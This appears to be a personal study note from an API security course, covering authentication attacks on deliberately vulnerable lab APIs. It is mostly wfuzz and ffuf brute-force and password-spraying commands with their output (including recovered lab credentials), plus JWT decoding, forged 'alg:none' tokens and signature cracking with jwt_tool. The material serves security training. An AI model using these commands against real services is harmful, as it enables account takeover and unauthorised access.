Authentication Attacks
Classic Attacks
Brute forcing/Password spraying with Intruder and wfuzz
.
wfuzz -d '{"email":"hapihacker@email.com","password":"FUZZ"}' -H 'Content-Type: application/json' -z file,/usr/share/wordlists/rockyou -u http://127.0.0.1:8888/identity/api/auth/login -hc 500
$ wfuzz -d '{"email":"FUZZ","password":"FUZ2Z"}' -H 'Content-Type: application/json' -w emails -w passwords -u http://vapi.apisec.ai/vapi/api2/user/login --sc 200
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://vapi.apisec.ai/vapi/api2/user/login
Total requests: 1000000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
# Assessment Q2
$ ffuf -mode pitchfork -u http://vapi.apisec.ai/vapi/api2/user/login -w emails:EMAIL,passwords:PASS -X POST -H 'Content-Type: application/json' -d '{"email":"EMAIL","password":"PASS"}' -c -fc 401
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://vapi.apisec.ai/vapi/api2/user/login
:: Wordlist : EMAIL: /home/x7331/Documents/apisec/emails
:: Wordlist : PASS: /home/x7331/Documents/apisec/passwords
:: Header : Content-Type: application/json
:: Data : {"email":"EMAIL","password":"PASS"}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 401
________________________________________________
[Status: 200, Size: 89, Words: 1, Lines: 1, Duration: 1430ms]
* EMAIL: savanna48@ortiz.com
* PASS: zTyBwV/9
[Status: 200, Size: 89, Words: 1, Lines: 1, Duration: 1311ms]
* EMAIL: hauck.aletha@yahoo.com
* PASS: kU-wDE7r
[Status: 200, Size: 89, Words: 1, Lines: 1, Duration: 1283ms]
* EMAIL: harber.leif@beatty.info
* PASS: kU-wDE7r
:: Progress: [1000/1000] :: Job [1/1] :: 27 req/sec :: Duration: [0:00:36] :: Errors: 0 ::
API Token Attacks
Token Analysis
Proxy request from Postman to Burp.
Send to Sequencer and specify token's value location.
Analyze.


If there is a short kind-of-predictable token pattern -> brute force with intruder.
JWTs
Base64 encoded.
Starts with
ey
.Splitted in 3 sections: header, payload, signature (https://jwt.io/).

$ echo "eyJhbGciOiJSUzI1NiJ9" | base64 -d
{"alg":"RS256"}
$ echo "eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3MDQ2NCwiZXhwIjoxNzE3MDc1MjY0fQ" | base64 -d
{"sub":"test02@test.com","role":"user","iat":1716470464,"exp":1717075264}base64: invalid input

jwt_tool
$ jwt_tool.py eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3MDQ2NCwiZXhwIjoxNzE3MDc1MjY0fQ.boM0KzCI4VH8Az-XaEZFem4IExNOUm6IrMs6MMcHM_STO0ikh_xuuKBJHVnvBXHPW5Vi2aqcIveI0NYI_kMnmjDEmqbieU_oaDErglCFx5t-CEF8Fyfkelk5Kmv1wTpQgq3DX_6Snikb2sJyG4p-BLkA13pibF-mUxr17E4FXUatkvDQdu7e6bwS3D8ylW0PM8ZZRk7jLLcZd6OiQmGPYrJXIOpZm_xlWR64lB2tBCaEPDhCTZKamVIwCgx54XoeUlhp2TGQTyBh__SCmMsdwWXSJI0uinSaFobGrD5xEb942ZpYujLrVXz41TuU65nYS9oiV1AdENjGvbGYiknjmg
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.6 \______| @ticarpi
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "RS256"
Token payload values:
[+] sub = "test02@test.com"
[+] role = "user"
[+] iat = 1716470464 ==> TIMESTAMP = 2024-05-23 14:21:04 (UTC)
[+] exp = 1717075264 ==> TIMESTAMP = 2024-05-30 14:21:04 (UTC)
Seen timestamps:
[*] iat was seen
[*] exp is later than iat by: 7 days, 0 hours, 0 mins
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
# Automated Scans
$ jwt_tool.py -t http://127.0.0.1:8888/identity/api/v2/user/dashboard -rh "Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3NDcwNCwiZXhwIjoxNzE3MDc5NTA0fQ.bCKaFcXXMclXFBVjdtboApA0b2c8oC1EjNlU2WQqDx_TpsNGXWq9skmcqAbUNYEhMNK29MSmytuZzMFAtKXMPBv86GXuRFdefnNadHxYXW9TP6eZe0EBBuxOHqKTMnZAWurGOFuk-aoGDFsug9fkCpqjBYpZfdQihJ_AksB_mgVUKf1mJScC7P9oGVKzv_inkykPBVa-4o1P5iU-L_tY_tmdZY-NTLK30KVfa2l_bBbrMtsokrniy3d2Nxn2Om3R8Y5MxHhLzzP-EE5MV-kGSahtadpe0GXqIBJaWYaoiMrc-K9TzkagXMGUlCxriuWf3ykOmF2uiVFrc0coVJaWxw" -M pb
Attacks
Generating token without signature
$ jwt_tool.py eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3NDcwNCwiZXhwIjoxNzE3MDc5NTA0fQ.bCKaFcXXMclXFBVjdtboApA0b2c8oC1EjNlU2WQqDx_TpsNGXWq9skmcqAbUNYEhMNK29MSmytuZzMFAtKXMPBv86GXuRFdefnNadHxYXW9TP6eZe0EBBuxOHqKTMnZAWurGOFuk-aoGDFsug9fkCpqjBYpZfdQihJ_AksB_mgVUKf1mJScC7P9oGVKzv_inkykPBVa-4o1P5iU-L_tY_tmdZY-NTLK30KVfa2l_bBbrMtsokrniy3d2Nxn2Om3R8Y5MxHhLzzP-EE5MV-kGSahtadpe0GXqIBJaWYaoiMrc-K9TzkagXMGUlCxriuWf3ykOmF2uiVFrc0coVJaWxw -X a
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.6 \______| @ticarpi
Original JWT:
jwttool_a7333a823ae2439cb9a1f625cf57874a - EXPLOIT: "alg":"none" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJub25lIn0.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3NDcwNCwiZXhwIjoxNzE3MDc5NTA0fQ.
jwttool_ba16d4490898e1a275865d6054d29218 - EXPLOIT: "alg":"None" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJOb25lIn0.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3NDcwNCwiZXhwIjoxNzE3MDc5NTA0fQ.
jwttool_933d31b931b0cde418923bd086cb24b8 - EXPLOIT: "alg":"NONE" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJOT05FIn0.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3NDcwNCwiZXhwIjoxNzE3MDc5NTA0fQ.
jwttool_779c72e9bb024b8feebb000aaf8f8b96 - EXPLOIT: "alg":"nOnE" - this is an exploit targeting the debug feature that allows a token to have no signature
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJuT25FIn0.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3NDcwNCwiZXhwIjoxNzE3MDc5NTA0fQ.
# Copy this token to a request and see how it responds
Cracking the signature
# Generating a password file
$ crunch 5 5 -o crAPIpw.txt
Crunch will now generate the following amount of data: 71288256 bytes
67 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 11881376
crunch: 100% completed generating output
# Trying to crack the signature
$ jwt_tool.py eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0MDJAdGVzdC5jb20iLCJyb2xlIjoidXNlciIsImlhdCI6MTcxNjQ3MDQ1MSwiZXhwIjoxNzE3MDc1MjUxfQ.Hvtr7E8g0YM3UIeAtNKlaojfBludz1YfjQGpugnVibqs1ApqErSHQVnLwt_MlisoX4GWjNiCIl7mLtRtFEhuo0YEERByj-Qh7SN6Gnbb_QbhbbjEwTYE8DhACDWzotoNbz3tBnTfoCLiMvZ0BnIsqbIKl8n96E-cVl6wJFiRsNIpkQt6rEiWItuyLUfCfkzzFQLMW8VYKzvZh53T6UxmQrw0sZdk2MmuAbtIbzPRDz8Y904fL1ZVL4nvRsbwo6xEGfeqJsXQBmdRe9bk_YX51grlzCw8YSxbOD8Tb4KHkm88j0tGFFXXozBZrff3GSxGCP5u66yh4U0lnJgkcuGuZg -C -d ~/Documents/apisec/crAPIpw.txt
# Different algorithm??



Last updated